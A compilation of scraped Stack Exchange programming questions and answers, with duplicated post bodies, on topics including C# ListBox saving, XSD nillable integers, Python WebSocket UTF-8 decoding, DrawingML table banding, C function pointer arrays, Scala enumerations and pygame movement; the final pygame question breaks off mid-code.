问:
How to save text from the ListBox?
Can I use the "StreamWriter" function to save the text in the ListBox?</p>

```<code>private void button3_Click(object sender, EventArgs e)
        {

            SaveFileDialog saveFile1 = new SaveFileDialog();
            saveFile1.DefaultExt = "*.txt";
            saveFile1.Filter = "Text files|*.txt";
            if (saveFile1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&
            saveFile1.FileName.Length > 0)
            {
                using (StreamWriter sw = new StreamWriter(saveFile1.FileName, true))

                {
                    sw.WriteLine(listBox1.Text);
                    sw.Close();
                }
</code>```

答:
You should use string  SelectedItem of the ListBox

```<code>  using (StreamWriter sw = new StreamWriter(saveFile1.FileName, true))
    {
        sw.WriteLine(listBox1.GetItemText(listBox1.SelectedItem));
        sw.Close();
    }
</code>```

Title: How to save text from the ListBox?

Body:
Can I use the "StreamWriter" function to save the text in the ListBox?

private void button3_Click(object sender, EventArgs e)
        {

            SaveFileDialog saveFile1 = new SaveFileDialog();
            saveFile1.DefaultExt = "*.txt";
            saveFile1.Filter = "Text files|*.txt";
            if (saveFile1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&
            saveFile1.FileName.Length > 0)
            {
                using (StreamWriter sw = new StreamWriter(saveFile1.FileName, true))

                {
                    sw.WriteLine(listBox1.Text);
                    sw.Close();
                }

Body:
You should use string  SelectedItem of the ListBox

  using (StreamWriter sw = new StreamWriter(saveFile1.FileName, true))
    {
        sw.WriteLine(listBox1.GetItemText(listBox1.SelectedItem));
        sw.Close();
    }


来源: stackexchange

问:
XSD: Options for allowing null values when declaring xs:integer data types
My problem (or question) centers around empty elements which are typed as xs:integer.  I need to allow for empty elements so I used a union to allow an empty element or a valid integer as the value as shown in the schema below. However, my schema serves a dual role and also needs to be imported into 3rd party software which expects data types of String, Float, Integer or Date.  If I code the schema using the union method for all integers they will not be typed as integers in the software.  Is there another way other than the union method of allowing an empty element for integer data types?  I'd like to just have the one XSD but can have two if that is what needs to happen.

Given XML sample of:

```<code><?xml version="1.0" encoding="UTF-8"?>
<company>
    <division>
        <department>
            <roles/>
            <employees>7</employees>
        </department>
    </division>
</company>
</code>```

And schema of:

```<code><?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
    <xs:simpleType name="nullval">
        <xs:union memberTypes="IntegerType empty"/>
    </xs:simpleType>
    <xs:simpleType name="IntegerType">
        <xs:restriction base="xs:integer"/>
    </xs:simpleType>
    <xs:simpleType name="empty">
        <xs:restriction base="xs:string">
            <xs:maxLength value="0"/>
        </xs:restriction>
    </xs:simpleType>
    <xs:element name="company">
        <xs:complexType>
            <xs:sequence>
                <xs:element name="division">
                    <xs:complexType>
                        <xs:sequence>
                            <xs:element name="department" minOccurs="0" maxOccurs="unbounded">
                                <xs:complexType>
                                    <!-- elements may appear in any order -->
                                    <xs:all minOccurs="0" maxOccurs="1">
                                        <xs:element name="roles" type="nullval"/>
                                        <xs:element name="employees" type="xs:integer"/>
                                    </xs:all>
                                </xs:complexType>
                            </xs:element>
                        </xs:sequence>
                    </xs:complexType>
                </xs:element>
            </xs:sequence>
        </xs:complexType>
    </xs:element>
</xs:schema>
</code>```

答:
Have you tried</p>

```<code><xs:element name="roles" type="xs:integer" nillable="true"/>
</code>```

ContentLicense: CC BY-SA 2.5

Body:
My problem (or question) centers around empty elements which are typed as xs:integer.  I need to allow for empty elements so I used a union to allow an empty element or a valid integer as the value as shown in the schema below. However, my schema serves a dual role and also needs to be imported into 3rd party software which expects data types of String, Float, Integer or Date.  If I code the schema using the union method for all integers they will not be typed as integers in the software.  Is there another way other than the union method of allowing an empty element for integer data types?  I'd like to just have the one XSD but can have two if that is what needs to happen.

Given XML sample of:

<?xml version="1.0" encoding="UTF-8"?>
<company>
    <division>
        <department>
            <roles/>
            <employees>7</employees>
        </department>
    </division>
</company>

And schema of:

<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
    <xs:simpleType name="nullval">
        <xs:union memberTypes="IntegerType empty"/>
    </xs:simpleType>
    <xs:simpleType name="IntegerType">
        <xs:restriction base="xs:integer"/>
    </xs:simpleType>
    <xs:simpleType name="empty">
        <xs:restriction base="xs:string">
            <xs:maxLength value="0"/>
        </xs:restriction>
    </xs:simpleType>
    <xs:element name="company">
        <xs:complexType>
            <xs:sequence>
                <xs:element name="division">
                    <xs:complexType>
                        <xs:sequence>
                            <xs:element name="department" minOccurs="0" maxOccurs="unbounded">
                                <xs:complexType>

                                    <xs:all minOccurs="0" maxOccurs="1">
                                        <xs:element name="roles" type="nullval"/>
                                        <xs:element name="employees" type="xs:integer"/>
                                    </xs:all>
                                </xs:complexType>
                            </xs:element>
                        </xs:sequence>
                    </xs:complexType>
                </xs:element>
            </xs:sequence>
        </xs:complexType>
    </xs:element>
</xs:schema>

Body:
Have you tried

<xs:element name="roles" type="xs:integer" nillable="true"/>


问:
Python 3 incorrect output of UTF-8 characters received over WebSocket?
I have a javascript that sends unicode star character.

But python interprets it as letter â -  both in console and in log file.

Other unicode characters are malformed as well.

```<code>    var ws = new WebSocket("ws://127.0.0.1:8888/");

    ws.onopen= function(){
        console.log('\u2605');

        ws.send('\u2605');

        ws.close();
    }
</code>```

Code in python:

```<code>#!/usr/bin/env python
# -*- coding: utf-8 -*-

import logging, json
from websocket_server import WebsocketServer

def new_client(client, server):
    print("Client id:"+ str(client["id"])+ " has connected")

def client_left(client, server):
    print("Client id:"+ str(client["id"])+ " has diconnected")

logfile= open('C:/host/test-log.log', 'a', encoding='utf-8')
logging.basicConfig(stream=logfile,
    level=logging.INFO,
    format='%(message)s')

def msg_rcvd(client, server, msg):
    print (msg);
    logging.info(msg);

server = WebsocketServer(8888, host='127.0.0.1')
server.set_fn_new_client(new_client)
server.set_fn_message_received(msg_rcvd)
server.set_fn_client_left(client_left)

server.run_forever()
</code>```

WebsocketServer lib used: https://github.com/Pithikos/python-websocket-server

Anyone knows what's the problem here?

EDIT:

Just found this page on git hub:

https://github.com/Pithikos/python-websocket-server/issues/19

It appears to be the lib issue and some of the users has posted the solution:

```<code>bytes([i^masks[idx % 4] for idx, i in enumerate(self.read_bytes(payload_length))]).decode()
</code>```

However, I've absolutely no idea where to put this code.

Much appreciate help.

答:
In the WebsocketServer library code this:

```<code>decoded = ""
    for char in self.read_bytes(payload_length):
        char ^= masks[len(decoded) % 4]
        decoded += chr(char)
</code>```

should be replaced with:

```<code>decoded=bytes([i^masks[idx % 4] for idx, i in enumerate(self.read_bytes(payload_length))]).decode()
</code>```

ContentLicense: CC BY-SA 3.0

Body:
I have a javascript that sends unicode star character.

But python interprets it as letter â -  both in console and in log file.

Other unicode characters are malformed as well.

    var ws = new WebSocket("ws://127.0.0.1:8888/");

    ws.onopen= function(){
        console.log('\u2605');

        ws.send('\u2605');

        ws.close();
    }

Code in python:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import logging, json
from websocket_server import WebsocketServer

def new_client(client, server):
    print("Client id:"+ str(client["id"])+ " has connected")

def client_left(client, server):
    print("Client id:"+ str(client["id"])+ " has diconnected")

logfile= open('C:/host/test-log.log', 'a', encoding='utf-8')
logging.basicConfig(stream=logfile,
    level=logging.INFO,
    format='%(message)s')

def msg_rcvd(client, server, msg):
    print (msg);
    logging.info(msg);

server = WebsocketServer(8888, host='127.0.0.1')
server.set_fn_new_client(new_client)
server.set_fn_message_received(msg_rcvd)
server.set_fn_client_left(client_left)

server.run_forever()

WebsocketServer lib used: https://github.com/Pithikos/python-websocket-server

Anyone knows what's the problem here?

EDIT:

Just found this page on git hub:

https://github.com/Pithikos/python-websocket-server/issues/19

It appears to be the lib issue and some of the users has posted the solution:

bytes([i^masks[idx % 4] for idx, i in enumerate(self.read_bytes(payload_length))]).decode()

However, I've absolutely no idea where to put this code.

Much appreciate help.

Body:
In the WebsocketServer library code this:

decoded = ""
    for char in self.read_bytes(payload_length):
        char ^= masks[len(decoded) % 4]
        decoded += chr(char)

should be replaced with:

decoded=bytes([i^masks[idx % 4] for idx, i in enumerate(self.read_bytes(payload_length))]).decode()


问:
Table Banding in Open Office XML / DrawingML
I am playing with the conversion of PPTX files to HTML and am stuck on an issue with Drawing ML tables, specifically the banding of rows.

I have a table with 3 different colors, the main accent color, a tint on the Band1H row and a lighter tint on the Band2H row. The properties of the table specify that firstRow="1" and bandRow="1". I have no problems getting the background color for the firstRow and Band1H but the Band2H seems to only be inside the wholeTbl element, which I understand (maybe incorrectly) that I cannot read from unless all table properties are toggled off.

Whats the proper way to get these styles?

Example image of table in question

Table from slide1.xml

```<code><a:tbl>
    <a:tblPr firstRow="1" bandRow="1">
        <a:tableStyleId>{21E4AEA4-8DFA-4A89-87EB-49C32662AFE0}</a:tableStyleId>
    </a:tblPr>
    <a:tblGrid>
        <a:gridCol w="1354667"/>
        <a:gridCol w="1354667"/>
        <a:gridCol w="1354667"/>
        <a:gridCol w="1354667"/>
        <a:gridCol w="1354667"/>
        <a:gridCol w="1354667"/>
    </a:tblGrid>
    <a:tr h="567215">
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>h1</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>h2</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>h3</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>h4</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>h5</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>h5</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
    </a:tr>
    <a:tr h="567215">
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>a</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>b</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>c</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>d</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>e</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>f</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
    </a:tr>
    <a:tr h="567215">
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>g</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>h</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" err="1" smtClean="0"/>
                        <a:t>i</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>j</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>k</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>l</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
    </a:tr>
    <a:tr h="567215">
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>m</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>n</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>o</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>p</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>q</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
        <a:tc>
            <a:txBody>
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                    <a:r>
                        <a:rPr lang="en-US" dirty="0" smtClean="0"/>
                        <a:t>r</a:t>
                    </a:r>
                    <a:endParaRPr lang="en-US" dirty="0"/>
                </a:p>
            </a:txBody>
            <a:tcPr/>
        </a:tc>
    </a:tr>
</a:tbl>
</code>```

tableStyles.xml

```<code> <a:tblStyle styleId="{21E4AEA4-8DFA-4A89-87EB-49C32662AFE0}" styleName="Medium Style 2 - Accent 2">
    <a:wholeTbl>
        <a:tcTxStyle>
            <a:fontRef idx="minor">
                <a:prstClr val="black"/>
            </a:fontRef>
            <a:schemeClr val="dk1"/>
        </a:tcTxStyle>
        <a:tcStyle>
            <a:tcBdr>
                <a:left>
                    <a:ln w="12700" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:left>
                <a:right>
                    <a:ln w="12700" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:right>
                <a:top>
                    <a:ln w="12700" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:top>
                <a:bottom>
                    <a:ln w="12700" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:bottom>
                <a:insideH>
                    <a:ln w="12700" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:insideH>
                <a:insideV>
                    <a:ln w="12700" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:insideV>
            </a:tcBdr>
            <a:fill>
                <a:solidFill>
                    <a:schemeClr val="accent2">
                        <a:tint val="20000"/>
                    </a:schemeClr>
                </a:solidFill>
            </a:fill>
        </a:tcStyle>
    </a:wholeTbl>
    <a:band1H>
        <a:tcStyle>
            <a:tcBdr/>
            <a:fill>
                <a:solidFill>
                    <a:schemeClr val="accent2">
                        <a:tint val="40000"/>
                    </a:schemeClr>
                </a:solidFill>
            </a:fill>
        </a:tcStyle>
    </a:band1H>
    <a:band2H>
        <a:tcStyle>
            <a:tcBdr/>
        </a:tcStyle>
    </a:band2H>
    <a:band1V>
        <a:tcStyle>
            <a:tcBdr/>
            <a:fill>
                <a:solidFill>
                    <a:schemeClr val="accent2">
                        <a:tint val="40000"/>
                    </a:schemeClr>
                </a:solidFill>
            </a:fill>
        </a:tcStyle>
    </a:band1V>
    <a:band2V>
        <a:tcStyle>
            <a:tcBdr/>
        </a:tcStyle>
    </a:band2V>
    <a:lastCol>
        <a:tcTxStyle b="on">
            <a:fontRef idx="minor">
                <a:prstClr val="black"/>
            </a:fontRef>
            <a:schemeClr val="lt1"/>
        </a:tcTxStyle>
        <a:tcStyle>
            <a:tcBdr/>
            <a:fill>
                <a:solidFill>
                    <a:schemeClr val="accent2"/>
                </a:solidFill>
            </a:fill>
        </a:tcStyle>
    </a:lastCol>
    <a:firstCol>
        <a:tcTxStyle b="on">
            <a:fontRef idx="minor">
                <a:prstClr val="black"/>
            </a:fontRef>
            <a:schemeClr val="lt1"/>
        </a:tcTxStyle>
        <a:tcStyle>
            <a:tcBdr/>
            <a:fill>
                <a:solidFill>
                    <a:schemeClr val="accent2"/>
                </a:solidFill>
            </a:fill>
        </a:tcStyle>
    </a:firstCol>
    <a:lastRow>
        <a:tcTxStyle b="on">
            <a:fontRef idx="minor">
                <a:prstClr val="black"/>
            </a:fontRef>
            <a:schemeClr val="lt1"/>
        </a:tcTxStyle>
        <a:tcStyle>
            <a:tcBdr>
                <a:top>
                    <a:ln w="38100" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:top>
            </a:tcBdr>
            <a:fill>
                <a:solidFill>
                    <a:schemeClr val="accent2"/>
                </a:solidFill>
            </a:fill>
        </a:tcStyle>
    </a:lastRow>
    <a:firstRow>
        <a:tcTxStyle b="on">
            <a:fontRef idx="minor">
                <a:prstClr val="black"/>
            </a:fontRef>
            <a:schemeClr val="lt1"/>
        </a:tcTxStyle>
        <a:tcStyle>
            <a:tcBdr>
                <a:bottom>
                    <a:ln w="38100" cmpd="sng">
                        <a:solidFill>
                            <a:schemeClr val="lt1"/>
                        </a:solidFill>
                    </a:ln>
                </a:bottom>
            </a:tcBdr>
            <a:fill>
                <a:solidFill>
                    <a:schemeClr val="accent2"/>
                </a:solidFill>
            </a:fill>
        </a:tcStyle>
    </a:firstRow>
</a:tblStyle>
</code>```

答: The lighter band you're looking for is the tint value calculation of accent2  under schemeClr in fill in tcStyle. You'll need to find the value of accent2 and use sRGB to calc the tint, in this case at 20%, rounding to 0.0 or 1.0 if any values fall below or above.

Body:
I am playing with the conversion of PPTX files to HTML and am stuck on an issue with Drawing ML tables, specifically the banding of rows.

I have a table with 3 different colors, the main accent color, a tint on the Band1H row and a lighter tint on the Band2H row. The properties of the table specify that firstRow="1" and bandRow="1". I have no problems getting the background color for the firstRow and Band1H but the Band2H seems to only be inside the wholeTbl element, which I understand (maybe incorrectly) that I cannot read from unless all table properties are toggled off.

Whats the proper way to get these styles?

Example image of table in question

Table from slide1.xml

        {21E4AEA4-8DFA-4A89-87EB-49C32662AFE0}

                        h1

                        h2

                        h3

                        h4

                        h5

                        h5

                        a

                        b

                        c

                        d

                        e

                        f

                        g

                        h

                        i

                        j

                        k

                        l

                        m

                        n

                        o

                        p

                        q

                        r

tableStyles.xml


问:
Debugging not working in ASP.NET Core, or in VS2017 at all
I am working on a project, and I have two servers, a login server, and a secondary server which serves the application.

The secondary server is ASP.NET Core, but the first one is just ASP.NET MVC, because I couldn't get Identity to work with tokens for Angular 2, in ASP.NET Core. In Visual Studio 2015, breakpoints worked for ASP.NET MVC, but not for ASP.NET Core.

I moved to Visual Studio 2017 in the hope it would fix things. No breakpoints are hit at all, although my A2 project works, the methods are being called.

The debugger says that there's no debug information for the code.  I've gone in to project settings and told it to generate the full pdb (at the bottom of build settings, under 'advanced'), I've turned off 'just my code' and turned on .NET code breaks. These are all the suggestions I can find online. My breakpoints are still not being hit.

答:
This might help someone.

When you are debugging in release, breakpoints will not be hit.

Make sure you select debug when you hit F5 or run.

ContentLicense: CC BY-SA 4.0


问:
how to access 6 different functions within for loop in C?
I am writing a code in C. I have to calculate some coefficients named as:

```<code>k1, k2, k3, k4
</code>```

I have 6 different functions named as:

```<code>func1, func2, func3, .....func6
</code>```

Very inefficient way is to write a code like this:

```<code>/* find k1 for all 6 functions */

/* k[0][0] is k1 for func1 */
/* k[0][1] is k1 for func2 */
   ......
   ......
/* k[0][5] is k1 for func6 */

/* h is some constant */

            k[0][0] = h*func1()
            k[0][1] = h*func2()
            k[0][2] = h*func3()
            k[0][3] = h*func4()
            k[0][4] = h*func5()
            k[0][5] = h*func6()
</code>```

Similarly I have to find out k2 for all 6 functions.

Again very inefficient way would be :

```<code>        k[1][0] = h*func1()
        k[1][1] = h*func2()
        k[1][2] = h*func3()
        k[1][3] = h*func4()
        k[1][4] = h*func5()
        k[1][5] = h*func6()
</code>```

And similar things for remaining k3 & k4 would be:

```<code> /* find K3 for all 6 functions */
   .............
   .............
 /* find K4 for all 6 functions */
   .............
   .............
</code>```

I want to avoid all this.

I want a way so that I can call 6 functions for each coefficient k within a for loop. Something like this:

```<code>for(i=0; i<=3; i++)
  {
     for(j=0; j<=5; j++)
       {
          k[i][j] =  h*func[...]
          /* where func[...] means some way for calling 6 functions */
       }
  }
</code>```

May be some array of functions ??

Any help will be highly appreciated.

Thanks.

答:
You can declare an array of pointers to functions of the same type. Some people prefer to use typedefs for this, but you can also declare the array directly. If f is a pointer to a function, you can call the function with (*f)(...), where the ellipsis represents the arguments. But you can also call the function with f(...).

```<code>#include <stdio.h>

double f1(int);
double f2(int);
double f3(int);
double f4(int);
double f5(int);
double f6(int);

int main(void)
{
    /* With typedef */
//    typedef double (*Fn_ptr)(int);
//    Fn_ptr funcs[6] = { f1, f2, f3, f4, f5, f6 };

    /* Without typedef */
    double (*funcs[6])(int) = { f1, f2, f3, f4, f5, f6 };

    double k[4][6];
    double h = 0.1;

    for (size_t i = 0; i < 4; i++)
    {
        for (size_t j = 0; j < 6; j++)
        {
            k[i][j] =  h*funcs[j](i);
        }
    }

    for (size_t i = 0; i < 4; i++)
    {
        for (size_t j = 0; j < 6; j++)
        {
            printf("%10f", k[i][j]);
        }
        putchar('\n');
    }

    return 0;
}

double f1(int x)
{
    return x + 1;
}

double f2(int x)
{

    return x + 2;
}

double f3(int x)
{
    return x + 3;
}

double f4(int x)
{
    return x + 4;
}

double f5(int x)
{
    return x + 5;
}

double f6(int x)
{
    return x + 6;
}
</code>```

Body:
I am writing a code in C. I have to calculate some coefficients named as:

k1, k2, k3, k4

I have 6 different functions named as:

func1, func2, func3, .....func6

Very inefficient way is to write a code like this:

/* find k1 for all 6 functions */

/* k[0][0] is k1 for func1 */
/* k[0][1] is k1 for func2 */
   ......
   ......
/* k[0][5] is k1 for func6 */

/* h is some constant */

            k[0][0] = h*func1()
            k[0][1] = h*func2()
            k[0][2] = h*func3()
            k[0][3] = h*func4()
            k[0][4] = h*func5()
            k[0][5] = h*func6()

Similarly I have to find out k2 for all 6 functions.

Again very inefficient way would be :

        k[1][0] = h*func1()
        k[1][1] = h*func2()
        k[1][2] = h*func3()
        k[1][3] = h*func4()
        k[1][4] = h*func5()
        k[1][5] = h*func6()

And similar things for remaining k3 & k4 would be:

 /* find K3 for all 6 functions */
   .............
   .............
 /* find K4 for all 6 functions */
   .............
   .............

I want to avoid all this.

I want a way so that I can call 6 functions for each coefficient k within a for loop. Something like this:

for(i=0; i<=3; i++)
  {
     for(j=0; j<=5; j++)
       {
          k[i][j] =  h*func[...]
          /* where func[...] means some way for calling 6 functions */
       }
  }

May be some array of functions ??

Any help will be highly appreciated.

Thanks.

Body:
You can declare an array of pointers to functions of the same type. Some people prefer to use typedefs for this, but you can also declare the array directly. If f is a pointer to a function, you can call the function with (*f)(...), where the ellipsis represents the arguments. But you can also call the function with f(...).

#include <stdio.h>

double f1(int);
double f2(int);
double f3(int);
double f4(int);
double f5(int);
double f6(int);

int main(void)
{
    /* With typedef */
//    typedef double (*Fn_ptr)(int);
//    Fn_ptr funcs[6] = { f1, f2, f3, f4, f5, f6 };

    /* Without typedef */
    double (*funcs[6])(int) = { f1, f2, f3, f4, f5, f6 };

    double k[4][6];
    double h = 0.1;

    for (size_t i = 0; i < 4; i++)
    {
        for (size_t j = 0; j < 6; j++)
        {
            k[i][j] =  h*funcs[j](i);
        }
    }

    for (size_t i = 0; i < 4; i++)
    {
        for (size_t j = 0; j < 6; j++)
        {
            printf("%10f", k[i][j]);
        }
        putchar('\n');
    }

    return 0;
}

double f1(int x)
{
    return x + 1;
}

double f2(int x)
{

    return x + 2;
}

double f3(int x)
{
    return x + 3;
}

double f4(int x)
{
    return x + 4;
}

double f5(int x)
{
    return x + 5;
}

double f6(int x)
{
    return x + 6;
}


问:
In Scala enumerations how does one interpret 'val RED, GREEN, BLUE = Value'?
The defined way to describe an enumeration is the following:

```<code>object Color extends Enumeration{
  type Color = Value
  val RED, GREEN, BLUE = Value
}
</code>```

What I don't understand is the structure of the last line. It seems like it creates a bunch of values and assigns them all the same value? But Value is a type so how does this work.

答:
Yeah, that's unfortunate. If you consult the source code you'll see that Value is both a type (abstract class at line 184) as well as an overloaded method (lines 128 - 154).

Calling the Value method, without parameters, actually becomes a call to new Val(i, name), so every one of your colors is assigned a "new," i.e. different, value.

Scala enumerations has undergone some major rethinking and looks likely to change in an upcoming release.

Body:
The defined way to describe an enumeration is the following:

object Color extends Enumeration{
  type Color = Value
  val RED, GREEN, BLUE = Value
}

What I don't understand is the structure of the last line. It seems like it creates a bunch of values and assigns them all the same value? But Value is a type so how does this work.


问:
How can I stop a character in pygame from leaving the edge of the screen?
I have created a small program in pygame where the player controls a blue square moving around the screen, but I want to stop the player from moving past the edge of the screen. Here is the code I have so far, how can I do this?</p>

```<code>import pygame

pygame.init()
screen = pygame.display.set_mode((800, 600))
done = False
x = 30
y = 30

clock = pygame.time.Clock()

while not done:
        for event in pygame.event.get():
                if event.type == pygame.QUIT:
                        done = True
                if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:
                        is_blue = not is_blue

    pressed = pygame.key.get_pressed()
    if pressed[pygame.K_UP]: y -= 5
    if pressed[pygame.K_DOWN]: y += 5
    if pressed[pygame.K_LEFT]: x -= 5
